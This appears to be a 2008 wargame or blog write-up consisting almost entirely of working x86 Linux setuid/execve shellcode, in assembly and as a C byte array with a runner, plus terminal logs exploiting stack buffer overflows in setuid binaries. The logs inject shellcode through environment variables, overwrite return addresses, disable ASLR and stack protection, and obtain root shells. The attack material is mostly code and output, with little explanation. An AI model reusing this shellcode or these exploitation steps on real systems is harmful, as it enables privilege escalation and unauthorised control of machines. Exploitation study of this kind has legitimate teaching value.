global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h

#include <stdio.h>
 
const char shellcode[]= "\x31\xdb"
			"\x8d\x43\x17"
			"\x99"
			"\xcd\x80"
			"\x31\xc9"
			"\x51"
			"\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69"
			"\x8d\x41\x0b"
			"\x89\xe3"
			"\xcd\x80";
 
int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@opensec.es"
			"\n\t + http://opensec.es"
			"\n\n[+] Date: 29/11/2008"
			"\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);
 
	(*(void (*)()) shellcode)();
 
	return 0;
}

Anon@remotehost:~$ uname -a
Linux remotehost 2.6.27 #1 SMP Fri Nov 14 20:22:51 MSK 2008 i686 GNU/Linux
Anon@remotehost:~$ cd /path/to/bof
Anon@remotehost:/path/to/bof$ 
Anon@remotehost:/path/to/bof$ cat bof.c
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv) {
    char buf[128];
    if(argc < 2) return 1;
    strcpy(buf, argv[1]);
    printf("%s\n", buf);    
    return 0;
}
Anon@remotehost:/path/to/bof$ echo $MESSAGE
You can see this is as classic BoF as that of my  wargame!
Anon@remotehost:/path/to/bof$ ls -l
-r-sr-x--- 1 AnotherUser mygroup 7140 Nov 30  2008 bof
-r--r----- 1 AnotherUser mygroup  178 Oct  2  2008 bof.c
Anon@remotehost:/path/to/bof$ ./bof Hola
Hola
Anon@remotehost:/path/to/bof$ ./bof  `perl -e '{ printf  "A"x200}'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Anon@remotehost:/path/to/bof$ export EGG=`perl -e '{print "\x90"x10,"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"}'`
Anon@remotehost:/path/to/bof$ /tmp/getenv EGG
EGG is located at 0xbfffdf03
Anon@remotehost:/path/to/bof$ ./bof `perl -e '{ printf  "\x04\xdf\xff\xbf"x48}'`
#<Basura de la salida>
bash-3.1$ id
uid=1004(Anon) gid=1004(Anon) groups=1004(Anon)
bash-3.1$ exit
Anon@remotehost:/path/to/bof$  id
uid=1004(Anon) gid=1004(Anon) groups=1004(Anon)
Anon@remotehost:/path/to/bof$ gcc -v
Using built-in specs.
Target: i486-linux-gnu
Thread model: posix
gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)
 

Anon@remotehost:~$ whereis bash 
bash: /bin/bash /usr/share/man/man1/bash.1.gz
Anon@remotehost:~$ whereis sh
sh: /bin/sh /usr/share/man/man1/sh.1.gz
Anon@remotehost:~$ ls -l /bin/bash 
-rwxr-xr-x 1 root root 677184 Dec 11  2006 /bin/bash
Anon@remotehost:~$ ls -l /bin/sh   
lrwxrwxrwx 1 root root 4 Feb 28  2008 /bin/sh -> bash
Anon@remotehost:~$ sh --version 
GNU bash, version 3.1.17(1)-release (i486-pc-linux-gnu)
Copyright (C) 2005 Free Software Foundation, Inc.
Anon@remotehost:~$ sh
sh-3.1$ echo "<< Esto fue lo que me confundio"
 

Anon@remotehost:/path/to/bof$ export EGG=`perl -e '{print "\x90"x10,"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"}'`
Anon@remotehost:/path/to/bof$ /tmp/getenv EGG
EGG is located at 0xbfffb7f6
Anon@remotehost:/path/to/bof$ ./bof `perl -e '{print "\xf6\xb7\xff\xbf"x60 }'`
#<Basura de la salida>
sh-3.1$ id
uid=1004(Anon) gid=1004(Anon) euid=1005(AnotherUser) groups=1004(Anon)
 

0x80c3020 <shellcode>:	jmp    0x80c303a <shellcode+26>
0x80c3022 <shellcode+2>:	pop    %esi
0x80c3023 <shellcode+3>:	mov    %esi,0x8(%esi)
0x80c3026 <shellcode+6>:	xor    %eax,%eax
0x80c3028 <shellcode+8>:	mov    %al,0x7(%esi)
0x80c302b <shellcode+11>:	mov    %eax,0xc(%esi)
0x80c302e <shellcode+14>:	mov    %esi,%ebx
0x80c3030 <shellcode+16>:	lea    0x8(%esi),%ecx
0x80c3033 <shellcode+19>:	lea    0xc(%esi),%edx
0x80c3036 <shellcode+22>:	mov    $0xb,%al
0x80c3038 <shellcode+24>:	int    $0x80
0x80c303a <shellcode+26>:	call   0x80c3022 <shellcode+2>
0x80c303f <shellcode+31>:	das    
0x80c3040 <shellcode+32>:	bound  %ebp,0x6e(%ecx)
0x80c3043 <shellcode+35>:	das    
0x80c3044 <shellcode+36>:	jae    0x80c30ae <_dl_load_lock+6>
0x80c3046 <shellcode+38>:	add    %al,(%eax)

#include <stdio.h>
#include <string.h>
#include <sys h="">
#include <unistd.h>
 
int main(int argc, char *argv[]) {
seteuid(5000);
function(argv[1]);
}
 
void function(char *arg){
char buffer[8];
strcpy(buffer, arg);
printf("buffer is at %p and contains \'%s\'\n", buffer, buffer);
}
 

 
planadecu@pdux:~/hacking/smallest$ export SHELLCODE0=`cat highest_priv_shell`
planadecu@pdux:~/hacking/smallest$ export SHELLCODE1=$(perl -e 'print "\x31\xc0\x99\xb0\x17\x60\xcd\x80\x61\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"')
planadecu@pdux:~/hacking/smallest$ export SHELLCODE2=$(perl -e 'print "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"')
 
root@pdux:~# echo 0 > /proc/sys/kernel/randomize_va_space
 
planadecu@pdux:~/hacking/smallest$ gcc -g overflowable.c -o overflowable -fno-stack-protector
overflowable.c:8: warning: conflicting types for ‘function’
overflowable.c:5: warning: previous implicit declaration of ‘function’ was here
 
planadecu@pdux:~/hacking/smallest$ sudo chown root:root overflowable
planadecu@pdux:~/hacking/smallest$ sudo chmod u+s overflowable
 
planadecu@pdux:~/hacking/smallest$ ./getenvaddr SHELLCODE0 ./overflowable
SHELLCODE_OK will be at 0xbffffcb1
planadecu@pdux:~/hacking/smallest$ ./overflowable $(perl -e 'print "A"x12 . "\xb1\xfc\xff\xbf"')
buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAA����'
# whoami
root
# exit
 
planadecu@pdux:~/hacking/smallest$ ./getenvaddr SHELLCODE1 ./overflowable
SHELLCODE will be at 0xbffff653
planadecu@pdux:~/hacking/smallest$ ./overflowable $(perl -e 'print "A"x12 . "\x53\xf6\xff\xbf"')
buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAAS���'
$ whoami
whoami: cannot find name for user ID 40948
$ exit
 
planadecu@pdux:~/hacking/smallest$ ./getenvaddr SHELLCODE2 ./overflowableSHELLCODE2 will be at 0xbffffdfc
planadecu@pdux:~/hacking/smallest$ ./overflowable $(perl -e 'print "A"x12 . "\xfc\xfd\xff\xbf"')buffer is at 0xbffff380 and contains 'AAAAAAAAAAAA����'
# whoami
root
# exit